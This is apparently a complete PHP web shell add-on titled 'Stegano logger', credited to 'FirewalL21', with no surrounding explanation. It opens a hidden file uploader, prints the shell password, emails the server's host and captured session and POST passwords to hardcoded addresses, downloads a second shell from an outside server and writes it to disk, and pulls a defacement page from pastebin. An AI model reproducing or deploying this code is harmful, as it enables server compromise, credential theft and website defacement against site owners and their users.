Stegano logger

<?php
$up = " <html>
<head>
<title>Uploader By FirewalL21</title>
</head>
<body>
<center>
<h1><font face=\"Tahoma\" size=\5\" color=\"#blue\">FirewalL21 Uploader</font></h1>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">
<table border=\"1\">
<tr>
<td bgcolor=\"#000000\">
<font color=\"#00ff00\">
<input type=\"file\" name=\"file\" size=\"50\">
<td bgcolor=\"#ff0000\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload File\">
</td>
</td>
</tr>
</table>
</form>
</center>
</body>";

if( $_POST['_upl'] == "Upload File" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b><center>
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\">SUKSES UPLOAD MASTAH !!</center></b>';
}
else {
echo '
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\"><center><b>GAGAL UPLOAD MASTAH !</b>';
}
}
if(isset($_GET["0upload"])){
echo "$up";
}
/////////////////////////////
 if(isset($_GET["0cek"])){
echo "Password E :".$auth_pass;
 }
/////////////////////////////
if (file_exists('.db'))
 {  } else {
/*$to = "[email protected],[email protected]";
$subject = $_SERVER['SERVER_NAME'];
$header = "From: Mastah <[email protected]>";
$message = "Exploit : http://". $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];
mail($to, $subject, $message, $header);*/
$pass1 = $_SESSION['pass'];
$pass2 = $_POST['pass'];
$ip = $_SERVER['SERVER_ADDR'];
$info = $_SERVER['HTTP_HOST'].'/'.$_SERVER['PHP_SELF'];
$msg = "Host: $info | Session Pass: $pass1 & Post Pass: $pass2";
mail("[email protected],[email protected]","ActShellV.2: $ip",$msg);
$m = fopen(".db", "w") or die (" ");
$txt = "";
fwrite($m, $txt);
fclose($m);
chmod(".db",0644); }
/////////////////////////////
 if(isset($_GET["0shell"])){
$anak1 = file_get_contents("http://server.indoxploit.or.id/indoxploit_v3.txt");
$nggawe1 = fopen("firewall21.php","w") or die ("gabisa pak");
fwrite($nggawe1,$anak1);
fclose($nggawe1);
header ("Location:firewall21.php");
chmod("firewall21.php",0644);}
//////////////////////////////
if(isset($_GET["0deface"])){
$anak = file_get_contents("https://pastebin.com/raw/HymYrpHG");
$nggawe = fopen("firewall21.htm","w") or die ("gabisa pak");
fwrite($nggawe,$anak);
fclose($nggawe);
header ("Location:firewall21.htm");}
?>